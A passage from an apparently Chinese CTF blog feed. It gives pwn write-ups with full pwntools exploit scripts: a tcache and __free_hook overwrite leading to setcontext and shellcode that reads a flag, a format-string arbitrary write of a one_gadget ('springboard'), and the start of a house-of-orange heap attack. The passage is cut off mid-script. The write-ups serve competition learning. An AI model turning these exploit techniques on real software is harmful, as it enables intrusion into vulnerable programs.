punctuation">(</span>idx<span class="token punctuation">)</span><span class="token punctuation">:</span>    sla<span class="token punctuation">(</span><span class="token string">'Your choice :'</span><span class="token punctuation">,</span> <span class="token string">'4'</span><span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'Index of order:'</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>idx<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment">#rs()</span>rs<span class="token punctuation">(</span><span class="token string">'remote'</span><span class="token punctuation">)</span><span class="token comment"># leak heap</span>add<span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">,</span> <span class="token string">'aa'</span><span class="token punctuation">)</span> <span class="token comment"># 0</span>add<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token string">''</span><span class="token punctuation">)</span> <span class="token comment"># 1 size=0</span>edit<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">''</span><span class="token punctuation">)</span> <span class="token comment"># chunk1被free掉</span>add<span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">,</span> <span class="token string">'aa'</span><span class="token punctuation">)</span> <span class="token comment"># 2 chunk1就是chunk2的node节点</span>show<span class="token punctuation">(</span><span class="token punctuation">)</span>ru<span class="token punctuation">(</span><span class="token string">'[1]:'</span><span class="token punctuation">)</span>heap <span class="token operator">=</span> uu64<span class="token punctuation">(</span>r<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x2e0</span>leak<span class="token punctuation">(</span><span class="token string">'heap'</span><span class="token punctuation">,</span> heap<span class="token punctuation">)</span>dele<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>dele<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">,</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token comment"># 0 这块刚好是chunk2的node节点</span>add<span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">,</span> <span class="token string">'a'</span><span class="token punctuation">)</span> <span class="token comment"># 1</span><span class="token comment"># leak libc</span><span class="token comment"># 填满tcache</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">9</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    add<span class="token punctuation">(</span><span class="token number">0x50</span><span class="token punctuation">,</span> <span class="token string">'a'</span><span class="token punctuation">)</span> <span class="token comment"># 3~11</span><span class="token comment"># 留一个隔离top</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    dele<span class="token punctuation">(</span><span class="token number">3</span><span class="token operator">+</span>i<span class="token punctuation">)</span>add<span class="token punctuation">(</span><span class="token number">0x30</span><span class="token punctuation">,</span> <span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token comment"># 3  sizeof(node)=0x10  0x10+0x30+0x10*2=0x50+0x10</span>show<span class="token punctuation">(</span><span class="token punctuation">)</span>ru<span class="token punctuation">(</span><span class="token string">'[3]:'</span><span class="token punctuation">)</span>ru<span class="token punctuation">(</span><span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span>main_arena <span class="token operator">=</span> uu64<span class="token punctuation">(</span>r<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">)</span>__malloc_hook <span class="token operator">=</span> main_arena <span class="token operator">-</span> <span class="token number">0x70</span>lbase <span class="token operator">=</span> __malloc_hook <span class="token operator">-</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'__malloc_hook'</span><span class="token punctuation">]</span>__free_hook <span class="token operator">=</span> lbase <span class="token operator">+</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'__free_hook'</span><span class="token punctuation">]</span>setcontext <span class="token operator">=</span> lbase <span class="token operator">+</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'setcontext'</span><span class="token punctuation">]</span>mprotect <span class="token operator">=</span> lbase <span class="token operator">+</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'mprotect'</span><span class="token punctuation">]</span>leak<span class="token punctuation">(</span><span class="token string">'main_arena'</span><span class="token punctuation">,</span> main_arena<span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'lbase'</span><span class="token punctuation">,</span> lbase<span class="token punctuation">)</span><span class="token comment"># 修改了node2的内容</span>edit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span>p64<span class="token punctuation">(</span>heap<span class="token operator">+</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token operator">+</span>p64<span class="token punctuation">(</span><span class="token number">0x240</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token comment"># heap+0x10</span>buf<span class="token operator">=</span> <span class="token string">'\x00'</span><span class="token operator">*</span><span class="token number">4</span> <span class="token operator">+</span> <span class="token string">'\x01'</span> <span class="token operator">+</span> <span class="token string">'\x00'</span><span class="token operator">*</span><span class="token number">0x5b</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>__free_hook<span class="token punctuation">)</span>  <span class="token comment"># 大小为0x60的tcache的数量置为1, 并指向__free_hook</span>edit<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> buf<span class="token punctuation">)</span><span class="token comment"># 修改__free_hook为setcontext+53</span>add<span class="token punctuation">(</span><span class="token number">0x50</span><span class="token punctuation">,</span> p64<span class="token punctuation">(</span>setcontext<span class="token operator">+</span><span class="token number">53</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token comment"># 4</span>sc <span class="token operator">=</span> <span class="token triple-quoted-string string">'''lea rdi,[rsp+0x3f]mov rsi,0mov rax,2syscall; //openmov rdi,raxlea rsi,[rsp-0x100]mov rdx,0x100xor rax,raxsyscall; //readmov rdi,1mov rdx,raxmov rax,1syscall; //write'''</span>buf <span class="token operator">=</span> <span class="token string">'a'</span><span class="token operator">*</span><span class="token number">0x68</span>buf <span class="token operator">+=</span> p64<span class="token punctuation">(</span>heap<span class="token punctuation">)</span> <span class="token comment">#rdi</span>buf <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0x1000</span><span class="token punctuation">)</span> <span class="token comment">#rsi</span>buf <span class="token operator">=</span> buf<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">0x88</span><span class="token punctuation">,</span><span class="token string">b'a'</span><span class="token punctuation">)</span>buf <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">7</span><span class="token punctuation">)</span>  <span class="token comment">#rdx</span>buf <span class="token operator">=</span> buf<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">0xa0</span><span class="token punctuation">,</span><span class="token string">b'a'</span><span class="token punctuation">)</span>buf <span class="token operator">+=</span> p64<span class="token punctuation">(</span>heap<span class="token operator">+</span><span class="token number">0x8b0</span><span class="token punctuation">)</span> <span class="token comment">#rsp</span>buf <span class="token operator">+=</span> p64<span class="token punctuation">(</span>mprotect<span class="token punctuation">)</span> <span class="token comment">#ret</span>buf <span class="token operator">+=</span> p64<span class="token punctuation">(</span>lbase<span class="token operator">+</span><span class="token number">0x0000000000002b1d</span><span class="token punctuation">)</span> <span class="token comment"># jmp rsp</span>buf <span class="token operator">+=</span> asm<span class="token punctuation">(</span>sc<span class="token punctuation">)</span>buf <span class="token operator">+=</span> <span class="token string">'./flag\x00'</span>add<span class="token punctuation">(</span><span class="token number">0x200</span><span class="token punctuation">,</span> buf<span class="token punctuation">)</span> <span class="token comment">#5</span><span class="token comment">#dbg('b *%s' % hex(setcontext+53))</span><span class="token comment">#raw_input()</span>dele<span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span>irt<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="springboard"><a href="#springboard" class="headerlink" title="springboard"></a>springboard</h2><p>格式化字符串，在堆上</p><p>格式化字符串先leak出libc和栈的地址</p><p>利用栈上的类似a-&gt;b，a在栈上，b也在栈上，这种栈上存了栈的指针，来任意地址写<br>如下图：</p><p><img src="/images/ff79dc8d/4.png" alt="upload successful"></p><p>先把循环变量改为负数，突破循环次数</p><p><code>0x7fffffffdda8</code>的位置是13$，<code>0x7fffffffde78</code>的位置是39$</p><p>通过<code>&quot;%&#123;&#125;c%13$hn&quot;</code>把<code>0x7fffffffde78</code>上存的<code>0x7fffffffe1fc</code>改成<code>0x7fffffffe1ff</code>，也就是循环变量的最高字节处</p><p>然后通过<code>&quot;%&#123;&#125;c%39$hhn&quot;</code>，修改循环变量的最高字节，只要使得最高位是1，就能成为负数</p><p>同样的操作，将<code>0x7fffffffe1ff</code>改成<code>0x7fffffffddd8</code>(19$)<br><img src="/images/ff79dc8d/5.png" alt="upload successful"></p><p>这样就形成了13$-&gt;39$-&gt;19$的链</p><p>同过<code>&quot;%&#123;&#125;c%13$hhn&quot;</code>控制39$指向19$的偏移0-7，通过<code>&quot;%&#123;&#125;c%39$hhn&quot;</code>改写19$偏移0-7的内容<br>也就是可以在19$上布置任意地址，再通过<code>&quot;%&#123;&#125;c%19$hhn&quot;</code>就可以任意地址写了</p><p>改写main函数返回地址为one_gadget即可，</p><p>最后把循环变量改回整数，使得循环退出，main函数返回触发one_gadget</p><p>exp:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment">#coding=utf8</span><span class="token keyword">from</span> PwnContext <span class="token keyword">import</span> <span class="token operator">*</span>      context<span class="token punctuation">.</span>terminal <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'gnome-terminal'</span><span class="token punctuation">,</span> <span class="token string">'-x'</span><span class="token punctuation">,</span> <span class="token string">'sh'</span><span class="token punctuation">,</span> <span class="token string">'-c'</span><span class="token punctuation">]</span>context<span class="token punctuation">.</span>log_level <span class="token operator">=</span> <span class="token string">'info'</span><span class="token comment"># functions for quick script</span>s       <span class="token operator">=</span> <span class="token keyword">lambda</span> data               <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token comment">#in case that data is an int</span>sa      <span class="token operator">=</span> <span class="token keyword">lambda</span> delim<span class="token punctuation">,</span>data         <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendafter<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>delim<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> sl      <span class="token operator">=</span> <span class="token keyword">lambda</span> data               <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> sla     <span class="token operator">=</span> <span class="token keyword">lambda</span> delim<span class="token punctuation">,</span>data         <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>delim<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> r       <span class="token operator">=</span> <span class="token keyword">lambda</span> numb<span class="token operator">=</span><span class="token number">4096</span><span class="token punctuation">,</span>timeout<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>recv<span class="token punctuation">(</span>numb<span class="token punctuation">,</span> timeout<span class="token operator">=</span>timeout<span class="token punctuation">)</span>ru      <span class="token operator">=</span> <span class="token keyword">lambda</span> delims<span class="token punctuation">,</span> drop<span class="token operator">=</span><span class="token boolean">True</span>  <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span>delims<span class="token punctuation">,</span> drop<span class="token punctuation">)</span>irt     <span class="token operator">=</span> <span class="token keyword">lambda</span>                    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span>rs      <span class="token operator">=</span> <span class="token keyword">lambda</span> <span class="token operator">*</span>args<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>start<span class="token punctuation">(</span><span class="token operator">*</span>args<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span>dbg     <span class="token operator">=</span> <span class="token keyword">lambda</span> gs<span class="token operator">=</span><span class="token string">''</span><span class="token punctuation">,</span> <span class="token operator">**</span>kwargs    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>debug<span class="token punctuation">(</span>gdbscript<span class="token operator">=</span>gs<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span><span class="token comment"># misc functions</span>uu32    <span class="token operator">=</span> <span class="token keyword">lambda</span> data   <span class="token punctuation">:</span>u32<span class="token punctuation">(</span>data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>uu64    <span class="token operator">=</span> <span class="token keyword">lambda</span> data   <span class="token punctuation">:</span>u64<span class="token punctuation">(</span>data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>leak    <span class="token operator">=</span> <span class="token keyword">lambda</span> name<span class="token punctuation">,</span>addr <span class="token punctuation">:</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'&#123;&#125; = &#123;:#x&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>name<span class="token punctuation">,</span> addr<span class="token punctuation">)</span><span class="token punctuation">)</span>ctx<span class="token punctuation">.</span>binary <span class="token operator">=</span> <span class="token string">'./springboard'</span>ctx<span class="token punctuation">.</span>remote <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token string">'183.129.189.60'</span><span class="token punctuation">,</span> <span class="token number">10029</span><span class="token punctuation">)</span>ctx<span class="token punctuation">.</span>remote_libc <span class="token operator">=</span> <span class="token string">'libc.so.6'</span> <span class="token comment"># libc-2.27</span>ctx<span class="token punctuation">.</span>debug_remote_libc <span class="token operator">=</span> <span class="token boolean">True</span>rs<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment">#rs('remote')</span><span class="token keyword">def</span> <span class="token function">send</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span><span class="token punctuation">:</span>    sa<span class="token punctuation">(</span><span class="token string">'input your name:'</span><span class="token punctuation">,</span> s<span class="token punctuation">)</span><span class="token comment"># leak libc stack</span>send<span class="token punctuation">(</span><span class="token string">'%11$p\n%13$p\n\x00'</span><span class="token punctuation">)</span>ru<span class="token punctuation">(</span><span class="token string">'name:\n'</span><span class="token punctuation">)</span>__libc_start_main  <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>ru<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">,</span> drop<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">231</span>lbase <span class="token operator">=</span> __libc_start_main <span class="token operator">-</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'__libc_start_main'</span><span class="token punctuation">]</span>leak<span class="token punctuation">(</span><span class="token string">'__libc_start_main'</span><span class="token punctuation">,</span> __libc_start_main<span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'lbase'</span><span class="token punctuation">,</span> lbase<span class="token punctuation">)</span>stack <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>ru<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">,</span> drop<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'stack'</span><span class="token punctuation">,</span> stack<span class="token punctuation">)</span><span class="token comment"># 修改i变量为负数</span>ref_i <span class="token operator">=</span> stack <span class="token operator">-</span> <span class="token number">0x7fffffffedf8</span> <span class="token operator">+</span> <span class="token number">0x7fffffffecfc</span>off <span class="token operator">=</span> <span class="token punctuation">(</span>ref_i <span class="token operator">+</span> <span class="token number">3</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xffff</span><span class="token keyword">if</span> off <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">:</span>    send<span class="token punctuation">(</span><span class="token string">'%&#123;&#125;c%13$hn\n\x00'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>off<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">else</span><span class="token punctuation">:</span>    send<span class="token punctuation">(</span><span class="token string">'%13$hhn\n\x00'</span><span class="token punctuation">)</span>send<span class="token punctuation">(</span><span class="token string">'%&#123;&#125;c%39$hhn\n\x00'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span><span class="token number">0xff</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 形成13$->39$->19$一条链先</span>target_addr <span class="token operator">=</span> stack <span class="token operator">-</span> <span class="token number">0x7fffffffedf8</span> <span class="token operator">+</span> <span class="token number">0x7fffffffed58</span>off <span class="token operator">=</span> target_addr <span class="token operator">&amp;</span> <span class="token number">0xffff</span><span class="token keyword">if</span> off <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">:</span>    send<span class="token punctuation">(</span><span class="token string">'%&#123;&#125;c%13$hn\n\x00'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>off<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">else</span><span class="token punctuation">:</span>    send<span class="token punctuation">(</span><span class="token string">'%13$hn\n\x00'</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">set_addr</span><span class="token punctuation">(</span>addr<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        byte <span class="token operator">=</span> <span class="token punctuation">(</span>addr <span class="token operator">>></span> i <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xff</span>        off <span class="token operator">=</span> <span class="token punctuation">(</span>target_addr <span class="token operator">+</span> i<span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xff</span>        <span class="token keyword">if</span> off <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">:</span>            send<span class="token punctuation">(</span><span class="token string">'%&#123;&#125;c%13$hhn\n\x00'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>off<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">else</span><span class="token punctuation">:</span>            send<span class="token punctuation">(</span><span class="token string">'%13$hhn\n\x00'</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> byte <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">:</span>            send<span class="token punctuation">(</span><span class="token string">'%&#123;&#125;c%39$hhn\n\x00'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>byte<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">else</span><span class="token punctuation">:</span>            send<span class="token punctuation">(</span><span class="token string">'%39$hhn\n\x00'</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">write_byte</span><span class="token punctuation">(</span>byte<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> byte <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">:</span>        send<span class="token punctuation">(</span><span class="token string">'%&#123;&#125;c%19$hhn\n\x00'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>byte<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">else</span><span class="token punctuation">:</span>        send<span class="token punctuation">(</span><span class="token string">'%19$hhn\n\x00'</span><span class="token punctuation">)</span>ref_ret <span class="token operator">=</span> stack <span class="token operator">-</span> <span class="token number">0x7fffffffedf8</span> <span class="token operator">+</span>  <span class="token number">0x7fffffffed18</span>set_addr<span class="token punctuation">(</span>ref_ret<span class="token punctuation">)</span>one1 <span class="token operator">=</span> lbase <span class="token operator">+</span> <span class="token number">0x4f2c5</span>one2 <span class="token operator">=</span> lbase <span class="token operator">+</span> <span class="token number">0x4f322</span>one3 <span class="token operator">=</span> lbase <span class="token operator">+</span> <span class="token number">0x10a38c</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    byte <span class="token operator">=</span> <span class="token punctuation">(</span>one1 <span class="token operator">>></span> <span class="token number">8</span> <span class="token operator">*</span> i<span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xff</span>    set_addr<span class="token punctuation">(</span>ref_ret<span class="token operator">+</span>i<span class="token punctuation">)</span>    write_byte<span class="token punctuation">(</span>byte<span class="token punctuation">)</span><span class="token comment">#dbg('b *%s\nc' % hex(one1))</span><span class="token comment"># 改回正数，使得循环退出</span>set_addr<span class="token punctuation">(</span>ref_i<span class="token operator">+</span><span class="token number">3</span><span class="token punctuation">)</span>write_byte<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token comment">#dbg('b *0x55555555495b')</span>irt<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;DASCTF6月赛pwn的writeup&lt;/p&gt;
    
    </summary>
    
    
      <category term="ctf" scheme="http://www.xi4oyu.top/categories/ctf/"/>
    
    
      <category term="dasctf" scheme="http://www.xi4oyu.top/tags/dasctf/"/>
    
  </entry>
  
  <entry>
    <title>houseoforange_hitcon_2016</title>
    <link href="http://www.xi4oyu.top/6a6ded9c/"/>
    <id>http://www.xi4oyu.top/6a6ded9c/</id>
    <published>2020-06-15T02:40:00.000Z</published>
    <updated>2020-06-15T02:40:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>buuoj刷pwn题之houseoforange_hitcon_2016</p><span id="more"></span><p>参考文章：<a href="https://bbs.pediy.com/thread-222718.htm">https://bbs.pediy.com/thread-222718.htm</a></p><p>保护全开<br><img src="/images/6a6ded9c/1.png" alt="upload successful"></p><p>有add，show，edit，没free</p><p>add只有4次：<br><img src="/images/6a6ded9c/2.png" alt="upload successful"></p><p>show<br><img src="/images/6a6ded9c/3.png" alt="upload successful"></p><p>edit只有3次，但是写入数据的长度可控，可溢出<br><img src="/images/6a6ded9c/4.png" alt="upload successful"></p><p>house of orange具体在没有free功能的情况下，制造出free的chunk，思路是溢出修改top chunk的size，然后malloc比top chunk大的chunk，使得top chunk被释放进入unsorted bin</p><p>一些检查：</p><ul><li>top chunk的size要4K对齐</li><li>pre_in_use位置1</li></ul><p>修改top chunk的size后</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">add<span class="token punctuation">(</span><span class="token number">0x80</span><span class="token punctuation">,</span> <span class="token string">'aaaa'</span><span class="token punctuation">)</span>fake_name <span class="token operator">=</span> <span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">0x80</span>fake_name <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x21</span><span class="token punctuation">)</span> <span class="token comment"># color chunk</span>fake_name <span class="token operator">+=</span> p32<span class="token punctuation">(</span><span class="token number">0xddaa</span><span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token comment"># color structure</span>fake_name <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0xf31</span><span class="token punctuation">)</span> <span class="token comment"># top chunk: pre_size, size</span>edit<span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>fake_name<span class="token punctuation">)</span><span class="token punctuation">,</span> fake_name<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="/images/6a6ded9c/5.png" alt="upload successful"></p><p>malloc一个比top chunk大的chunk，top chunk将会被释放进入unsorted bin</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">add<span class="token punctuation">(</span><span class="token number">0x1000</span><span class="token punctuation">,</span> <span class="token string">'aaa'</span><span class="token punctuation">)</span> <span class="token comment"># free top chunk</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="/images/6a6ded9c/6.png" alt="upload successful"></p><p>之后再malloc一个large bin大小的chunk，将从unsorted bin切割出来，bk仍然存有main_arena的地址，bk后面的fd_nextsize又有堆的地址，可以泄露出来</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">add<span class="token punctuation">(</span><span class="token number">0x400</span><span class="token punctuation">,</span> <span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token comment"># 从unsorted bin中切割一块出来 'a' * 8 是fd，后面就是bk</span>show<span class="token punctuation">(</span><span class="token punctuation">)</span>ru<span class="token punctuation">(</span><span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span>addr <span class="token operator">=</span> uu64<span class="token punctuation">(</span>r<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">)</span>lbase <span class="token operator">=</span> addr <span class="token operator">-</span> <span class="token punctuation">(</span><span class="token number">0x7ffff7dd2188</span> <span class="token operator">-</span> <span class="token number">0x7ffff7a0d000</span><span class="token punctuation">)</span>edit<span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">,</span> <span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">0x10</span><span class="token punctuation">)</span>show<span class="token punctuation">(</span><span class="token punctuation">)</span>ru<span class="token punctuation">(</span><span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">0x10</span><span class="token punctuation">)</span>addr <span class="token operator">=</span> uu64<span class="token 